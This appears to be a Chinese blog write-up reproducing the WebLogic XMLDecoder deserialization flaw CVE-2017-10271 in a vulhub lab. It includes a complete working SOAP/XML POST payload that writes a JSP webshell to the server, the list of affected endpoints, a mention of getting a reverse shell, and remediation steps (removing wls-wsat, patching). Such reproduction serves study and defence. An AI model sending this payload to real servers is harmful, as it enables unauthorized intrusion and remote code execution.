【漏洞复现】WebLogic XMLDecoder反序列化(CVE-2017-10271)

1、漏洞描述

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

2、涉及版本

复制代码
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

3、环境搭建(vulhub)

复制代码
cd weblogic
cd CVE-2017-10271
docker-compose up -d
docker-compose config

不会搭建的参考我之前的漏洞复现以及vulhub靶场搭建笔记:vulhub docker靶场搭建-CSDN博客

4、漏洞利用

1)访问链接:http://192.168.61.129:7001/wls-wsat/CoordinatorPortType

返回如下页面,表示漏洞存在。

漏洞不仅仅存在与 /wls-wsat/CoordinatorPortType,只要是wls-wsat包中的Url皆收到影响,可以查看web.xml得知所受到影响的URl。

复制代码
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2)构造数据包

构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

复制代码
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.61.129:7001
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 645
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>   
  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
  <java><java version="1.4.0" class="java.beans.XMLDecoder"> 
  <object class="java.io.PrintWriter">   
  <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string> 
  <void method="println">
<string>  
  <![CDATA[
<% out.print("webshell"); %>
  ]]> 
  </string>  
  </void>   
  <void method="close"/>   
  </object></java></java>  
  </work:WorkContext>   
  </soapenv:Header>   
  <soapenv:Body/>
</soapenv:Envelope>

3)验证webshell。

我们访问恶意路径:http://192.168.61.129:7001/bea_wls_internal/shell.jsp

不熟悉JAVA可以了解构造的XML。

复制代码
https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm

4)实战下Linux反弹shell。

我们kali开启监听。

成功获取到shell。

5.解决方案

1.临时解决方案

根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:

复制代码
rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

删除后重启Weblogic域控制器服务:

复制代码
DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务

删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

2.官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839

相关推荐
浩浩测试一下13 分钟前
SQL注入高级绕过手法汇总 重点
数据库·sql·安全·web安全·网络安全·oracle·安全架构
谈不譚网安1 小时前
CSRF请求伪造
前端·网络安全·csrf
JM丫2 小时前
PWNOS:2.0(vulnhub靶机)
网络安全
帅云毅2 小时前
Web漏洞--XSS之订单系统和Shell箱子
前端·笔记·web安全·php·xss
迷路的小绅士4 小时前
常见网络安全攻击类型深度剖析(三):DDoS攻击——分类、攻击机制及企业级防御策略
网络·web安全·ddos
极小狐4 小时前
极狐GitLab 项目功能和权限解读
运维·git·安全·gitlab·极狐gitlab
半路_出家ren5 小时前
流量抓取工具(wireshark)
网络·网络协议·测试工具·网络安全·wireshark·流量抓取工具
国科安芯5 小时前
面向高性能运动控制的MCU:架构创新、算法优化与应用分析
单片机·嵌入式硬件·安全·架构·机器人·汽车·risc-v
ALe要立志成为web糕手6 小时前
[BJDCTF2020]EzPHP
web安全·网络安全·php·ctf
迷路的小绅士7 小时前
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
前端·安全·web安全